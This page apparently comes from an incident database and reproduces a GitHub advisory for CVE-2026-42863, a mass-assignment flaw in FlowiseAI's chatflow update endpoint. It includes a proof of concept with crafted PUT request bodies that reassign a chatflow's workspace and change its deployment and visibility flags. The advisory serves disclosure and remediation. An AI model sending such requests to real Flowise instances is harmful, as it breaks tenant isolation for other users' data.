INCIDENT MAP

Browse / AI Framework and Platform Flaws / CVE-2026-42863

FlowiseAI has Mass Assignment in Chatflow Update Endpoint that Allows Cross-Workspace AgentFlow Reassignment

CVE-2026-42863 ยท 2026-05-14 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Authentication and access control
Affected
flowise (npm)
CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

The chatflow update endpoint merges client-supplied fields such as workspaceId and deployed into the record, letting users move flows across workspaces. (Our summary, written by a model. The source text is below.)

Details

Summary

A Mass Assignment vulnerability exists in the chatflow update endpoint of FlowiseAI.

The endpoint allows clients to modify server-controlled properties such as deployed, isPublic, workspaceId, createdDate, and updatedDate when updating a chatflow object.

Due to missing server-side validation and authorization checks, an authenticated user can manipulate internal attributes of a chatflow and reassign it to another workspace. This allows cross-workspace resource reassignment and unauthorized modification of deployment and visibility settings.

Details

The endpoint responsible for updating chatflows:

PUT /api/v1/chatflows/{chatflowId}

accepts a JSON request body containing the chatflow configuration (flowData) along with other metadata fields.

However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.

Examples of server-controlled fields that can be manipulated include:

These fields appear to be directly mapped to the underlying database entity when processing the update request, suggesting that the server performs a direct merge of the request body into the chatflow model without applying a strict DTO whitelist or authorization checks.

For example, modifying the request body with:

{
  "deployed": true,
  "isPublic": true,
  "createdDate": "1999-03-06T10:59:32.000Z",
  "updatedDate": "1999-03-06T13:21:34.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

results in the server accepting and persisting these values.

In testing, a second workspace was created in the database and the workspaceId field was successfully modified through the API request. The chatflow was reassigned to the attacker-controlled workspace, confirming that the application does not enforce workspace ownership validation.

PoC

Authenticate to the Flowise interface.

Capture the request used to update a chatflow:

PUT /api/v1/chatflows/<CHATFLOW_ID>
Content-Type: application/json

Modify the request body by injecting additional fields:

{
  "name": "test-flow",
  "flowData": "{...}",
  "deployed": true,
  "isPublic": true,
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

Send the request.

Observe that the response returns the manipulated values:

{
  "deployed": true,
  "isPublic": true,
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

Verify in the database that the chatflow has been reassigned:

SELECT id, workspaceId FROM chat_flow WHERE id='<CHATFLOW_ID>';

The workspaceId value reflects the attacker-supplied workspace.

Impact

This vulnerability allows authenticated users to manipulate server-controlled attributes of chatflows.

Confirmed impacts include:

In multi-tenant environments, this allows an attacker to move chatflows between workspaces without authorization, breaking tenant isolation boundaries.

This may enable:

The issue stems from missing authorization checks and improper handling of client-controlled input in the chatflow update endpoint.

References

Source: GitHub Advisory Database, used under CC BY 4.0.